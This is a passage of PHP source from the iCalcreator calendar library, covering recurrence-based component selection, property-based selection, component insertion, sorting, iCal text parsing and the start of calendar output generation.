                  $tend = mktime( date( 'H', $endWdate ), date( 'i', $endWdate ), date( 's', $endWdate ), date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
                if( $endAllDayEvent && $dtendExist )
                  $tend += ( 24 * 3600 ); // alldaysevents has an end date 'day after' meaning this day
                $datestring = date( $endDateFormat, $tend );
                if( isset( $end['tz'] ))
                  $datestring .= ' '.$end['tz'];
                $propName = ( !$dueExist ) ? 'X-CURRENT-DTEND' : 'X-CURRENT-DUE';
                $component->setProperty( $propName, $datestring );
              } // end if( $dtendExist || $dueExist || $durationExist )
              $wd        = getdate( $rstart );
              $result[$wd['year']][$wd['mon']][$wd['mday']][$compUID] = $component->copy(); // copy to output
              $rstart    = mktime( date( 'H', $rstart ), date( 'i', $rstart ), date( 's', $rstart ), date( 'm', $rstart ), date( 'd', $rstart ) + 1, date( 'Y', $rstart ) ); // step one day
              $rstartYMD = date( 'Ymd', $rstart );
              $checkDate = mktime( 0, 0, 0, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
            } // end while( $rstart <= $endWdate )
          } // end if( !isset( $exdatelist[$checkDate] ))
        } // end elseif( $split )   -  else use component date
        elseif( $recurrid && !$flat && !$any && !$split )
          $continue = TRUE;
        else { // !$flat && !$split, i.e. no flat array and DTSTART within period
          $checkDate = mktime( 0, 0, 0, date( 'm', $startWdate ), date( 'd', $startWdate ), date( 'Y', $startWdate ) ); // on a day-basis !!!
// echo "going to test comp no:$cix with checkDate=$checkDate with recurridList=".implode(',',array_keys($recurridList)); // test ###
          if(( !$any || !isset( $exdatelist[$checkDate] )) &&   // exclude any recurrence date, found in exdatelist
              ( !isset( $recurridList[$checkDate] ) || $recurrid )) { // or in the recurridList, but not itself
// echo " and copied to output<br>\n"; // test ###
            $wd = getdate( $startWdate );
            $result[$wd['year']][$wd['mon']][$wd['mday']][$compUID] = $component->copy(); // copy to output
          }
        }
      } // end if(( $startWdate >= $startDate ) && ( $startWdate <= $endDate ))
            /* if 'any' components, check components with reccurrence rules, removing all excluding dates */
      if( TRUE === $any ) {
            /* make a list of optional repeating dates for component occurence, rrule, rdate */
        $recurlist = array();
        while( FALSE !== ( $rrule = $component->getProperty( 'rrule' )))    // check rrule
          iCalUtilityFunctions::_recur2date( $recurlist, $rrule, $start, $workstart, $workend );
        foreach( $recurlist as $recurkey => $recurvalue )                   // key=match date as timestamp
          $recurlist[$recurkey] = $rdurWsecs;                               // add duration in seconds
        while( FALSE !== ( $rdate = $component->getProperty( 'rdate' ))) {  // check rdate
          foreach( $rdate as $theRdate ) {
            if( is_array( $theRdate ) && ( 2 == count( $theRdate )) &&      // all days within PERIOD
                   array_key_exists( '0', $theRdate ) &&  array_key_exists( '1', $theRdate )) {
              $rstart = iCalUtilityFunctions::_date2timestamp( $theRdate[0] );
              if(( $rstart < ( $startDate - $rdurWsecs )) || ( $rstart > $endDate ))
                continue;
              if( isset( $theRdate[1]['year'] )) // date-date period
                $rend = iCalUtilityFunctions::_date2timestamp( $theRdate[1] );
              else {                             // date-duration period
                $rend = iCalUtilityFunctions::_duration2date( $theRdate[0], $theRdate[1] );
                $rend = iCalUtilityFunctions::_date2timestamp( $rend );
              }
              while( $rstart < $rend ) {
                $recurlist[$rstart] = $rdurWsecs; // set start date for recurrence instance + rdate duration in seconds
                $rstart = mktime( date( 'H', $rstart ), date( 'i', $rstart ), date( 's', $rstart ), date( 'm', $rstart ), date( 'd', $rstart ) + 1, date( 'Y', $rstart ) ); // step one day
              }
            } // PERIOD end
            else { // single date
              $theRdate = iCalUtilityFunctions::_date2timestamp( $theRdate );
              if((( $startDate - $rdurWsecs ) <= $theRdate ) && ( $endDate >= $theRdate ))
                $recurlist[$theRdate] = $rdurWsecs; // set start date for recurrence instance + event duration in seconds
            }
          }
        }  // end - check rdate
        foreach( $recurlist as $recurkey => $durvalue ) { // remove all recurrence START dates found in the exdatelist
          $checkDate = mktime( 0, 0, 0, date( 'm', $recurkey ), date( 'd', $recurkey ), date( 'Y', $recurkey ) ); // on a day-basis !!!
          if( isset( $exdatelist[$checkDate] )) // no recurring to start this day
            unset( $recurlist[$recurkey] );
        }
        if( 0 < count( $recurlist )) {
          ksort( $recurlist );
          $xRecurrence = 1;
          $component2  = $component->copy();
          $compUID     = $component2->getProperty( 'UID' );
          foreach( $recurlist as $recurkey => $durvalue ) {
// echo "recurKey=".date( 'Y-m-d H:i:s', $recurkey ).' dur='.iCalUtilityFunctions::offsetSec2His( $durvalue )."<br>\n"; // test ###;
            if((( $startDate - $rdurWsecs ) > $recurkey ) || ( $endDate < $recurkey )) // not within period
              continue;
            $checkDate = mktime( 0, 0, 0, date( 'm', $recurkey ), date( 'd', $recurkey ), date( 'Y', $recurkey ) ); // on a day-basis !!!
            if( isset( $recurridList[$checkDate] )) // no recurring to start this day
              continue;
            if( isset( $exdatelist[$checkDate] ))   // check excluded dates
              continue;
            if( $startWdate >= $recurkey )          // exclude component start date
              continue;
            $rstart = $recurkey;
            $rend   = $recurkey + $durvalue;
           /* add repeating components within valid dates to output array, only start date set */
            if( $flat ) {
              if( !isset( $result[$compUID] )) // only one comp
                $result[$compUID] = $component2->copy(); // copy to output
            }
           /* add repeating components within valid dates to output array, one each day */
            elseif( $split ) {
              $xRecurrence += 1;
              if( $rend > $endDate )
                $rend = $endDate;
              $startYMD = $rstartYMD = date( 'Ymd', $rstart );
              $endYMD   = date( 'Ymd', $rend );
// echo "splitStart=".date( 'Y-m-d H:i:s', $rstart ).' end='.date( 'Y-m-d H:i:s', $rend )."<br>\n"; // test ###;
              while( $rstart <= $rend ) { // iterate.. .
                $checkDate = mktime( 0, 0, 0, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
                if( isset( $recurridList[$checkDate] )) // no recurring to start this day
                  break;
                if( isset( $exdatelist[$checkDate] ))   // exclude any recurrence START date, found in exdatelist
                  break;
// echo "checking date after startdate=".date( 'Y-m-d H:i:s', $rstart ).' mot '.date( 'Y-m-d H:i:s', $startDate )."<br>"; // test ###;
                if( $rstart >= $startDate ) {           // date after dtstart
                  if( $rstartYMD > $startYMD )          // date after dtstart
                    $datestring = date( $startDateFormat, $checkDate );
                  else
                    $datestring = date( $startDateFormat, $rstart );
                  if( isset( $start['tz'] ))
                    $datestring .= ' '.$start['tz'];
// echo "spliting = $datestring<BR>\n"; // test ###
                  $component2->setProperty( 'X-CURRENT-DTSTART', $datestring );
                  if( $dtendExist || $dueExist || $durationExist ) {
                    if( $rstartYMD < $endYMD ) // not the last day
                      $tend = mktime( 23, 59, 59, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ));
                    else
                      $tend = mktime( date( 'H', $endWdate ), date( 'i', $endWdate ), date( 's', $endWdate ), date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
                    if( $endAllDayEvent && $dtendExist )
                      $tend += ( 24 * 3600 );           // alldaysevents has an end date 'day after' meaning this day
                    $datestring = date( $endDateFormat, $tend );
                    if( isset( $end['tz'] ))
                      $datestring .= ' '.$end['tz'];
                    $propName = ( !$dueExist ) ? 'X-CURRENT-DTEND' : 'X-CURRENT-DUE';
                    $component2->setProperty( $propName, $datestring );
                  } // end if( $dtendExist || $dueExist || $durationExist )
                  $component2->setProperty( 'X-RECURRENCE', $xRecurrence );
                  $wd = getdate( $rstart );
                  $result[$wd['year']][$wd['mon']][$wd['mday']][$compUID] = $component2->copy(); // copy to output
                } // end if( $checkDate > $startYMD ) { // date after dtstart
                $rstart = mktime( date( 'H', $rstart ), date( 'i', $rstart ), date( 's', $rstart ), date( 'm', $rstart ), date( 'd', $rstart ) + 1, date( 'Y', $rstart ) ); // step one day
                $rstartYMD = date( 'Ymd', $rstart );
              } // end while( $rstart <= $rend )
            } // end elseif( $split )
            elseif( $rstart >= $startDate ) {           // date within period   //* flat=FALSE && split=FALSE => one comp every recur startdate *//
              $xRecurrence += 1;
              $checkDate = mktime( 0, 0, 0, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
              if( !isset( $exdatelist[$checkDate] )) {  // exclude any recurrence START date, found in exdatelist
                $datestring = date( $startDateFormat, $rstart );
                if( isset( $start['tz'] ))
                  $datestring .= ' '.$start['tz'];
//echo "X-CURRENT-DTSTART 2 = $datestring xRecurrence=$xRecurrence tcnt =".++$tcnt."<br>";$component2->setProperty( 'X-CNT', $tcnt ); // test ###
                $component2->setProperty( 'X-CURRENT-DTSTART', $datestring );
                if( $dtendExist || $dueExist || $durationExist ) {
                  $tend = $rstart + $rdurWsecs;
                  if( date( 'Ymd', $tend ) < date( 'Ymd', $endWdate ))
                    $tend = mktime( 23, 59, 59, date( 'm', $tend ), date( 'd', $tend ), date( 'Y', $tend ));
                  else
                    $tend = mktime( date( 'H', $endWdate ), date( 'i', $endWdate ), date( 's', $endWdate ), date( 'm', $tend ), date( 'd', $tend ), date( 'Y', $tend ) ); // on a day-basis !!!
                  if( $endAllDayEvent && $dtendExist )
                    $tend += ( 24 * 3600 ); // alldaysevents has an end date 'day after' meaning this day
                  $datestring = date( $endDateFormat, $tend );
                  if( isset( $end['tz'] ))
                    $datestring .= ' '.$end['tz'];
                  $propName = ( !$dueExist ) ? 'X-CURRENT-DTEND' : 'X-CURRENT-DUE';
                  $component2->setProperty( $propName, $datestring );
                } // end if( $dtendExist || $dueExist || $durationExist )
                $component2->setProperty( 'X-RECURRENCE', $xRecurrence );
                $wd = getdate( $rstart );
                $result[$wd['year']][$wd['mon']][$wd['mday']][$compUID] = $component2->copy(); // copy to output
              } // end if( !isset( $exdatelist[$checkDate] ))
            } // end elseif( $rstart >= $startDate )
          } // end foreach( $recurlist as $recurkey => $durvalue )
          unset( $component2 );
        } // end if( 0 < count( $recurlist ))
            /* deselect components with startdate/enddate not within period */
        if(( $endWdate < $startDate ) || ( $startWdate > $endDate ))
          continue;
      } // end if( TRUE === $any )
    } // end foreach ( $this->components as $cix => $component )
    unset( $dtendExist, $dueExist, $durationExist, $endAllDayEvent, $recurrid, $recurridList,
           $end, $startWdate, $endWdate, $rdurWsecs, $rdur, $exdatelist, $recurlist, $workstart, $workend, $endDateFormat ); // clean up
    if( 0 >= count( $result )) return FALSE;
    elseif( !$flat ) {
      foreach( $result as $y => $yeararr ) {
        foreach( $yeararr as $m => $montharr ) {
          foreach( $montharr as $d => $dayarr ) {
            if( empty( $result[$y][$m][$d] ))
                unset( $result[$y][$m][$d] );
            else
              $result[$y][$m][$d] = array_values( $dayarr ); // skip tricky UID-index, hoping they are in hour order.. .
          }
          if( empty( $result[$y][$m] ))
              unset( $result[$y][$m] );
          else
            ksort( $result[$y][$m] );
        }
        if( empty( $result[$y] ))
            unset( $result[$y] );
        else
          ksort( $result[$y] );
      }
      if( empty( $result ))
          unset( $result );
      else
        ksort( $result );
    } // end elseif( !$flat )
    if( 0 >= count( $result ))
      return FALSE;
    return $result;
  }
/**
 * select components from calendar on based on specific property value(-s)
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.6 - 2012-12-26
 * @param array $selectOptions, (string) key => (mixed) value, (key=propertyName)
 * @return array
 */
  function selectComponents2( $selectOptions ) {
    $output = array();
    $allowedComps      = array('vevent', 'vtodo', 'vjournal', 'vfreebusy' );
    $allowedProperties = array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'LOCATION', 'ORGANIZER', 'PRIORITY', 'RELATED-TO', 'RESOURCES', 'STATUS', 'SUMMARY', 'UID', 'URL' );
    foreach( $this->components as $cix => $component3 ) {
      if( !in_array( $component3->objName, $allowedComps ))
        continue;
      $uid = $component3->getProperty( 'UID' );
      foreach( $selectOptions as $propName => $pvalue ) {
        $propName = strtoupper( $propName );
        if( !in_array( $propName, $allowedProperties ))
          continue;
        if( !is_array( $pvalue ))
          $pvalue = array( $pvalue );
        if(( 'UID' == $propName ) && in_array( $uid, $pvalue )) {
          $output[$uid][] = $component3->copy();
          continue;
        }
        elseif(( 'ATTENDEE' == $propName ) || ( 'CATEGORIES' == $propName ) || ( 'CONTACT' == $propName ) || ( 'RELATED-TO' == $propName ) || ( 'RESOURCES' == $propName )) { // multiple occurrence?
          $propValues = array();
          $component3->_getProperties( $propName, $propValues );
          $propValues = array_keys( $propValues );
          foreach( $pvalue as $theValue ) {
            if( in_array( $theValue, $propValues )) { //  && !isset( $output[$uid] )) {
              $output[$uid][] = $component3->copy();
              break;
            }
          }
          continue;
        } // end   elseif( // multiple occurrence?
        elseif( FALSE === ( $d = $component3->getProperty( $propName ))) // single occurrence
          continue;
        if( is_array( $d )) {
          foreach( $d as $part ) {
            if( in_array( $part, $pvalue ) && !isset( $output[$uid] ))
              $output[$uid][] = $component3->copy();
          }
        }
        elseif(( 'SUMMARY' == $propName ) && !isset( $output[$uid] )) {
          foreach( $pvalue as $pval ) {
            if( FALSE !== stripos( $d, $pval )) {
              $output[$uid][] = $component3->copy();
              break;
            }
          }
        }
        elseif( in_array( $d, $pvalue ) && !isset( $output[$uid] ))
          $output[$uid][] = $component3->copy();
      } // end foreach( $selectOptions as $propName => $pvalue ) {
    } // end foreach( $this->components as $cix => $component3 ) {
    if( !empty( $output )) {
      ksort( $output ); // uid order
      $output2 = array();
      foreach( $output as $uid => $components ) {
        foreach( $components as $component )
          $output2[] = $component;
      }
      $output = $output2;
    }
    return $output;
  }
/**
 * add calendar component to container
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param object $component calendar component
 * @param mixed $arg1 optional, ordno/component type/ component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return void
 */
  function setComponent( $component, $arg1=FALSE, $arg2=FALSE  ) {
    $component->setConfig( $this->getConfig(), FALSE, TRUE );
    if( !in_array( $component->objName, array( 'valarm', 'vtimezone' ))) {
            /* make sure dtstamp and uid is set */
      $dummy1 = $component->getProperty( 'dtstamp' );
      $dummy2 = $component->getProperty( 'uid' );
    }
    if( !$arg1 ) { // plain insert, last in chain
      $this->components[] = $component->copy();
      return TRUE;
    }
    $argType = $index = null;
    if ( ctype_digit( (string) $arg1 )) { // index insert/replace
      $argType = 'INDEX';
      $index   = (int) $arg1 - 1;
    }
    elseif( in_array( strtolower( $arg1 ), array( 'vevent', 'vtodo', 'vjournal', 'vfreebusy', 'valarm', 'vtimezone' ))) {
      $argType = strtolower( $arg1 );
      $index = ( ctype_digit( (string) $arg2 )) ? ((int) $arg2) - 1 : 0;
    }
    // else if arg1 is set, arg1 must be an UID
    $cix1sC = 0;
    foreach ( $this->components as $cix => $component2) {
      if( empty( $component2 )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix )) { // index insert/replace
        $this->components[$cix] = $component->copy();
        return TRUE;
      }
      elseif( $argType == $component2->objName ) { // component Type index insert/replace
        if( $index == $cix1sC ) {
          $this->components[$cix] = $component->copy();
          return TRUE;
        }
        $cix1sC++;
      }
      elseif( !$argType && ( $arg1 == $component2->getProperty( 'uid' ))) { // UID insert/replace
        $this->components[$cix] = $component->copy();
        return TRUE;
      }
    }
            /* arg1=index and not found.. . insert at index .. .*/
    if( 'INDEX' == $argType ) {
      $this->components[$index] = $component->copy();
      ksort( $this->components, SORT_NUMERIC );
    }
    else    /* not found.. . insert last in chain anyway .. .*/
      $this->components[] = $component->copy();
    return TRUE;
  }
/**
 * sort iCal compoments
 *
 * ascending sort on properties (if exist) x-current-dtstart, dtstart,
 * x-current-dtend, dtend, x-current-due, due, duration, created, dtstamp, uid if called without arguments,
 * otherwise sorting on specific (argument) property values
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.4 - 2012-12-17
 * @param string $sortArg, optional
 * @return void
 *
 */
  function sort( $sortArg=FALSE ) {
    if( ! is_array( $this->components ) || ( 2 > count( $this->components )))
      return;
    if( $sortArg ) {
      $sortArg = strtoupper( $sortArg );
      if( !in_array( $sortArg, array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'DTSTAMP', 'LOCATION', 'ORGANIZER', 'PRIORITY', 'RELATED-TO', 'RESOURCES', 'STATUS', 'SUMMARY', 'UID', 'URL' )))
        $sortArg = FALSE;
    }
            /* set sort parameters for each component */
    foreach( $this->components as $cix => & $c ) {
      $c->srtk = array( '0', '0', '0', '0' );
      if( 'vtimezone' == $c->objName ) {
        if( FALSE === ( $c->srtk[0] = $c->getProperty( 'tzid' )))
          $c->srtk[0] = 0;
        continue;
      }
      elseif( $sortArg ) {
        if(( 'ATTENDEE' == $sortArg ) || ( 'CATEGORIES' == $sortArg ) || ( 'CONTACT' == $sortArg ) || ( 'RELATED-TO' == $sortArg ) || ( 'RESOURCES' == $sortArg )) {
          $propValues = array();
          $c->_getProperties( $sortArg, $propValues );
          if( !empty( $propValues )) {
            $sk         = array_keys( $propValues );
            $c->srtk[0] = $sk[0];
            if( 'RELATED-TO'  == $sortArg )
              $c->srtk[0] .= $c->getProperty( 'uid' );
          }
          elseif( 'RELATED-TO'  == $sortArg )
            $c->srtk[0] = $c->getProperty( 'uid' );
        }
        elseif( FALSE !== ( $d = $c->getProperty( $sortArg ))) {
          $c->srtk[0] = $d;
          if( 'UID' == $sortArg ) {
            if( FALSE !== ( $d = $c->getProperty( 'recurrence-id' ))) {
              $c->srtk[1] = iCalUtilityFunctions::_date2strdate( $d );
              if( FALSE === ( $c->srtk[2] = $c->getProperty( 'sequence' )))
                $c->srtk[2] = PHP_INT_MAX;
            }
            else
              $c->srtk[1] = $c->srtk[2] = PHP_INT_MAX;
          }
        }
        continue;
      } // end elseif( $sortArg )
      if( FALSE !== ( $d = $c->getProperty( 'X-CURRENT-DTSTART' ))) {
        $c->srtk[0] = iCalUtilityFunctions::_strdate2date( $d[1] );
        unset( $c->srtk[0]['unparsedtext'] );
      }
      elseif( FALSE === ( $c->srtk[0] = $c->getProperty( 'dtstart' )))
        $c->srtk[0] = 0;                                                  // sortkey 0 : dtstart

      if( FALSE !== ( $d = $c->getProperty( 'X-CURRENT-DTEND' ))) {
        $c->srtk[1] = iCalUtilityFunctions::_strdate2date( $d[1] );   // sortkey 1 : dtend/due(/duration)
        unset( $c->srtk[1]['unparsedtext'] );
      }
      elseif( FALSE === ( $c->srtk[1] = $c->getProperty( 'dtend' ))) {
        if( FALSE !== ( $d = $c->getProperty( 'X-CURRENT-DUE' ))) {
          $c->srtk[1] = iCalUtilityFunctions::_strdate2date( $d[1] );
          unset( $c->srtk[1]['unparsedtext'] );
        }
        elseif( FALSE === ( $c->srtk[1] = $c->getProperty( 'due' )))
          if( FALSE === ( $c->srtk[1] = $c->getProperty( 'duration', FALSE, FALSE, TRUE )))
            $c->srtk[1] = 0;
      }

      if( FALSE === ( $c->srtk[2] = $c->getProperty( 'created' )))      // sortkey 2 : created/dtstamp
        if( FALSE === ( $c->srtk[2] = $c->getProperty( 'dtstamp' )))
          $c->srtk[2] = 0;

      if( FALSE === ( $c->srtk[3] = $c->getProperty( 'uid' )))          // sortkey 3 : uid
        $c->srtk[3] = 0;
    } // end foreach( $this->components as & $c
            /* sort */
    usort( $this->components, array( 'iCalUtilityFunctions', '_cmpfcn' ));
  }
/**
 * parse iCal text/file into vcalendar, components, properties and parameters
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @param mixed $unparsedtext, optional, strict rfc2445 formatted, single property string or array of property strings
 * @return bool FALSE if error occurs during parsing
 *
 */
  function parse( $unparsedtext=FALSE ) {
    $nl = $this->getConfig( 'nl' );
    if(( FALSE === $unparsedtext ) || empty( $unparsedtext )) {
            /* directory+filename is set previously via setConfig directory+filename or url */
      if( FALSE === ( $filename = $this->getConfig( 'url' )))
        $filename = $this->getConfig( 'dirfile' );
            /* READ FILE */
      if( FALSE === ( $rows = file_get_contents( $filename )))
        return FALSE;                 /* err 1 */
    }
    elseif( is_array( $unparsedtext ))
      $rows =  implode( '\n'.$nl, $unparsedtext );
    else
      $rows = & $unparsedtext;
            /* fix line folding */
    $rows = explode( $nl, iCalUtilityFunctions::convEolChar( $rows, $nl ));
            /* skip leading (empty/invalid) lines */
    foreach( $rows as $lix => $line ) {
      if( FALSE !== stripos( $line, 'BEGIN:VCALENDAR' ))
        break;
      unset( $rows[$lix] );
    }
    $rcnt = count( $rows );
    if( 3 > $rcnt )                  /* err 10 */
      return FALSE;
            /* skip trailing empty lines and ensure an end row */
    $lix  = array_keys( $rows );
    $lix  = end( $lix );
    while( 3 < $lix ) {
      $tst = trim( $rows[$lix] );
      if(( '\n' == $tst ) || empty( $tst )) {
        unset( $rows[$lix] );
        $lix--;
        continue;
      }
      if( FALSE === stripos( $rows[$lix], 'END:VCALENDAR' ))
        $rows[] = 'END:VCALENDAR';
      break;
    }
    $comp    = & $this;
    $calsync = $compsync = 0;
            /* identify components and update unparsed data within component */
    $config = $this->getConfig();
    $endtxt = array( 'END:VE', 'END:VF', 'END:VJ', 'END:VT' );
    foreach( $rows as $lix => $line ) {
      if(     'BEGIN:VCALENDAR' == strtoupper( substr( $line, 0, 15 ))) {
        $calsync++;
        continue;
      }
      elseif( 'END:VCALENDAR'   == strtoupper( substr( $line, 0, 13 ))) {
        if( 0 < $compsync )
          $this->components[] = $comp->copy();
        $compsync--;
        $calsync--;
        break;
      }
      elseif( 1 != $calsync )
        return FALSE;                 /* err 20 */
      elseif( in_array( strtoupper( substr( $line, 0, 6 )), $endtxt )) {
        $this->components[] = $comp->copy();
        $compsync--;
        continue;
      }
      if(     'BEGIN:VEVENT'    == strtoupper( substr( $line, 0, 12 ))) {
        $comp = new vevent( $config );
        $compsync++;
      }
      elseif( 'BEGIN:VFREEBUSY' == strtoupper( substr( $line, 0, 15 ))) {
        $comp = new vfreebusy( $config );
        $compsync++;
      }
      elseif( 'BEGIN:VJOURNAL'  == strtoupper( substr( $line, 0, 14 ))) {
        $comp = new vjournal( $config );
        $compsync++;
      }
      elseif( 'BEGIN:VTODO'     == strtoupper( substr( $line, 0, 11 ))) {
        $comp = new vtodo( $config );
        $compsync++;
      }
      elseif( 'BEGIN:VTIMEZONE' == strtoupper( substr( $line, 0, 15 ))) {
        $comp = new vtimezone( $config );
        $compsync++;
      }
      else { /* update component with unparsed data */
        $comp->unparsed[] = $line;
      }
    } // end foreach( $rows as $line )
    unset( $config, $endtxt );
            /* parse data for calendar (this) object */
    if( isset( $this->unparsed ) && is_array( $this->unparsed ) && ( 0 < count( $this->unparsed ))) {
            /* concatenate property values spread over several lines */
      $propnames = array( 'calscale','method','prodid','version','x-' );
      $proprows  = array();
      for( $i = 0; $i < count( $this->unparsed ); $i++ ) { // concatenate lines
        $line = rtrim( $this->unparsed[$i], $nl );
        while( isset( $this->unparsed[$i+1] ) && !empty( $this->unparsed[$i+1] ) && ( ' ' == $this->unparsed[$i+1]{0} ))
          $line .= rtrim( substr( $this->unparsed[++$i], 1 ), $nl );
        $proprows[] = $line;
      }
      $paramMStz   = array( 'utc-', 'utc+', 'gmt-', 'gmt+' );
      $paramProto3 = array( 'fax:', 'cid:', 'sms:', 'tel:', 'urn:' );
      $paramProto4 = array( 'crid:', 'news:', 'pres:' );
      foreach( $proprows as $line ) {
        if( '\n' == substr( $line, -2 ))
          $line = substr( $line, 0, -2 );
            /* get property name */
        $propname  = '';
        $cix       = 0;
        while( FALSE !== ( $char = substr( $line, $cix, 1 ))) {
          if( in_array( $char, array( ':', ';' )))
            break;
          else
            $propname .= $char;
          $cix++;
        }
            /* skip non standard property names */
        if(( 'x-' != strtolower( substr( $propname, 0, 2 ))) && !in_array( strtolower( $propname ), $propnames ))
          continue;
            /* ignore version/prodid properties */
        if( in_array( strtolower( $propname ), array( 'version', 'prodid' )))
          continue;
            /* rest of the line is opt.params and value */
        $line = substr( $line, $cix);
            /* separate attributes from value */
        $attr         = array();
        $attrix       = -1;
        $strlen       = strlen( $line );
        $WithinQuotes = FALSE;
        $cix          = 0;
        while( FALSE !== substr( $line, $cix, 1 )) {
          if(                       ( ':'  == $line[$cix] )                         &&
                                    ( substr( $line,$cix,     3 )  != '://' )       &&
             ( !in_array( strtolower( substr( $line,$cix - 6, 4 )), $paramMStz ))   &&
             ( !in_array( strtolower( substr( $line,$cix - 3, 4 )), $paramProto3 )) &&
             ( !in_array( strtolower( substr( $line,$cix - 4, 5 )), $paramProto4 )) &&
                        ( strtolower( substr( $line,$cix - 6, 7 )) != 'mailto:' )   &&
               !$WithinQuotes ) {
            $attrEnd = TRUE;
            if(( $cix < ( $strlen - 4 )) &&
                 ctype_digit( substr( $line, $cix+1, 4 ))) { // an URI with a (4pos) portnr??
              for( $c2ix = $cix; 3 < $c2ix; $c2ix-- ) {
                if( '://' == substr( $line, $c2ix - 2, 3 )) {
                  $attrEnd = FALSE;
                  break; // an URI with a portnr!!
                }
              }
            }
            if( $attrEnd) {
              $line = substr( $line, ( $cix + 1 ));
              break;
            }
          }
          if( '"' == $line[$cix] )
            $WithinQuotes = ( FALSE === $WithinQuotes ) ? TRUE : FALSE;
          if( ';' == $line[$cix] )
            $attr[++$attrix] = null;
          else
            $attr[$attrix] .= $line[$cix];
          $cix++;
        }
            /* make attributes in array format */
        $propattr = array();
        foreach( $attr as $attribute ) {
          $attrsplit = explode( '=', $attribute, 2 );
          if( 1 < count( $attrsplit ))
            $propattr[$attrsplit[0]] = $attrsplit[1];
          else
            $propattr[] = $attribute;
        }
            /* update Property */
        if( FALSE !== strpos( $line, ',' )) {
          $content  = array( 0 => '' );
          $cix = $lix = 0;
          while( FALSE !== substr( $line, $lix, 1 )) {
            if(( 0 < $lix ) && ( ',' == $line[$lix] ) && ( "\\" != $line[( $lix - 1 )])) {
              $cix++;
              $content[$cix] = '';
            }
            else
              $content[$cix] .= $line[$lix];
            $lix++;
          }
          if( 1 < count( $content )) {
            foreach( $content as $cix => $contentPart )
              $content[$cix] = iCalUtilityFunctions::_strunrep( $contentPart );
            $this->setProperty( $propname, $content, $propattr );
            continue;
          }
          else
            $line = reset( $content );
          $line = iCalUtilityFunctions::_strunrep( $line );
        }
        $this->setProperty( $propname, rtrim( $line, "\x00..\x1F" ), $propattr );
      } // end - foreach( $this->unparsed.. .
    } // end - if( is_array( $this->unparsed.. .
    unset( $unparsedtext, $rows, $this->unparsed, $proprows );
            /* parse Components */
    if( is_array( $this->components ) && ( 0 < count( $this->components ))) {
      $ckeys = array_keys( $this->components );
      foreach( $ckeys as $ckey ) {
        if( !empty( $this->components[$ckey] ) && !empty( $this->components[$ckey]->unparsed )) {
          $this->components[$ckey]->parse();
        }
      }
    }
    else
      return FALSE;                   /* err 91 or something.. . */
    return TRUE;
  }
/*********************************************************************************/
/**
 * creates formatted output for calendar object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.16 - 2011-10-28
 * @return string
 */
  function createCalendar() {
    $calendarInit = $calendarxCaldecl = $calendarStart = $calendar = '';
    switch( $this->format ) {
      case 'xcal':
        $calendarInit  = '<?xml version="1.0" encoding="UTF-8"?>'.$this->nl.
                         '<!DOCTYPE vcalendar PUBLIC "-//IETF//DTD XCAL/iCalendar XML//EN"'.$this->nl.
                         '"http://www.ietf.org/internet-drafts/draft-ietf-calsch-many-xcal-01.txt"';
        $calendarStart = '>'.$this->nl.'<vcalendar';
        break;
      default:
        $calendarStart = 'BEGIN:VCALENDAR'.$this->nl;
        break;
    }
    $calendarStart .= $this->createVersion();
    $calendarStart .= $this->createProdid();
    $calendarStart .= $this->createCalscale();
    $calendarStart .= $this->createMethod();
    if( 'xcal' == $this->format )
      $calendarStart .= '>'.$this->nl;
    $calendar .= $this->createXprop();

    foreach( $this->components as $component ) {
      if( empty( $component )) continue;
      $component->setConfig( $this->getConfig(), FALSE, TRUE );
      $calendar .= $component->createComponent( $this->xcaldecl );
    }
    if(( 'xcal' == $this->format ) && ( 0 < count( $this->xcaldecl ))) { // xCal only
      $calendarInit .= ' [';
      $old_xcaldecl  = array();
      foreach( $this->xcaldecl as $declix => $declPart ) {
        if(( 0 < count( $old_xcaldecl))    &&
             isset( $declPart['uri'] )     && isset( $declPart['external'] )     &&
             isset( $old_xcaldecl['uri'] ) && isset( $old_xcaldecl['external'] ) &&
           ( in_array( $declPart['uri'],      $old_xcaldecl['uri'] ))            &&
           ( in_array( $declPart['external'], $old_xcaldecl['external'] )))
          continue; // no duplicate uri and ext. references
        if(( 0 < count( $old_xcaldecl))    &&
            !isset( $declPart['uri'] )     && !isset( $declPart['uri'] )         &&
             isset( $declPart['ref'] )     && isset( $old_xcaldecl['ref'] )      &&
           ( in_array( $declPart['ref'],      $old_xcaldecl['ref'] )))
          continue; // no duplicate element declarations
        $calendarxCaldecl .= $this->nl.'<!';
        foreach( $declPart as $declKey => $declValue ) {
          switch( $declKey ) {                    // index
            case 'xmldecl':                       // no 1
              $calendarxCaldecl .= $declValue.' ';
              break;
            case 'uri':                           // no 2
              $calendarxCaldecl .= $declValue.' ';
              $old_xcaldecl['uri'][] = $declValue;
              break;
            case 'ref':                           // no 3
              $calendarxCaldecl .= $declValue.' ';
              $old_xcaldecl['ref'][] = $declValue;
              break;
            case 'external':                      // no 4
              $calendarxCaldecl .= '"'.$declValue.'" ';
              $old_xcaldecl['external'][] = $declValue;
              break;
            case 'type':                          // no 5
              $calendarxCaldecl .= $declValue.' ';
              break;
            case 'type2':                         // no 6
              $calendarxCaldecl .= $declValue;
              break;
          }
        }
        $calendarxCaldecl .= '>';
      }
      $calendarxCaldecl .= $this->nl.']';
    }
    switch( $this->format ) {
      case 'xcal':
